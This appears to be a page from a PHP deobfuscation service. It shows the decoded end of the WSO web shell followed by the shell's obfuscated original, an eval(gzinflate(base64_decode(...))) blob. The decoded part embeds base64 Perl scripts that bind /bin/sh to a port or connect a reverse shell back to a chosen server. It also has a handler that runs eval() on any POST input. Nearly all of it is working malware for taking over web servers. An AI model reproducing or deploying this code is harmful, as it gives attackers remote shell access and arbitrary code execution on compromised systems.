$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode('lZ3LqmxZj537Br/DT1ENu1PsteYtgsJvok5cbeyCAmPM//g+oRjf0NxZprAbSWaes3fEWvMiDQ1JQ//49395/a/2X//2t3/6L3/7h/j7+vnzzxl/n+PPPyv+Pt71/5+/m48//xx//mnfPzsvf/758/fnn587X3/+uX3/O//u8+eP77/Hn3+vPz/b5p9/xvb/6/tnv/7++P3/vW3//+ez2uUvP79+f17/y++3618+b/zl7+e/831/fZ7P8/Z/533+b8/31/f/6+f99fv2z2t/eb72l+//87P9r+v37z3f/Lff9//1+3q/889zrz97PW7f9+l//mze9Luff/782erfM/P5vs+ZWNfvZ7Wf72fkZx3fczaffz5DnzXvOn/37+eOPz/f37V3n88c6/vc8/z+TL9+f2ZqffO5f7S+4/sZ+ZlPnc8/P7/G9zk/Zzl///N5XednfD/r83efz8jfPbT+n+/83IPPOx3fz5kv3Y/juw7n/Xvucm3+/H9/at3b9zOX7sxq33/yv9f3OfO/2evPu/Xv837eM+/Z+/vZ/v+7fq59f/+zzlP7+lmDzzt//v7zbPnul+97fp778xmfz/q8H7//WdvP330+Z1x017Xv3Ld81/59ztz7oc+d3/f//N6a3/fMz799373r3T4/x7v2l57r9n3e/PO7fub8fk7js87vukzZmM9nfc6hn6tt7379fu7nffJ7LlqPqXdZ3//+nNMhu8f7LPZa5zztyvO7759n+KzH+HzP+X3Wzx7xnvn32r+pPei6D50zMb/n/vOZn3Xu6/sZnzPQ79/1b62+J89o/77L58+8Fuf3dz8/s7Al6/tc+V0/3zv6OZ9pd36+e/P53nzu9n2Opn/nnT51jsf37qT91+/n/7fv338+P59F6//xDUPn7fNOeTfYy/t3z9I+6Px3fe/nWT7P2GVrcp1futev79rlmrZa8/xO3Z2p9/+s27h+fz/tyeX7//nOuvufffncx/yd43u2ut459+Ul+3XVs43v90199tD5yOfR/U279Pque9qcY9ufXrbus/9T/i7tgc7BZ9+W7MbUvUsbMLX3Ojd57y91V9N2DP3ZKr/b32UnbFt01z7rm3fi1DNctcaP715+7MxkX691P3Kd2F/Zpc+aYjfTVszv2uVz6/7kPr+/e/1Zr6G16rJDn89I+6V3mboL+XnyL2PWvf/scZf9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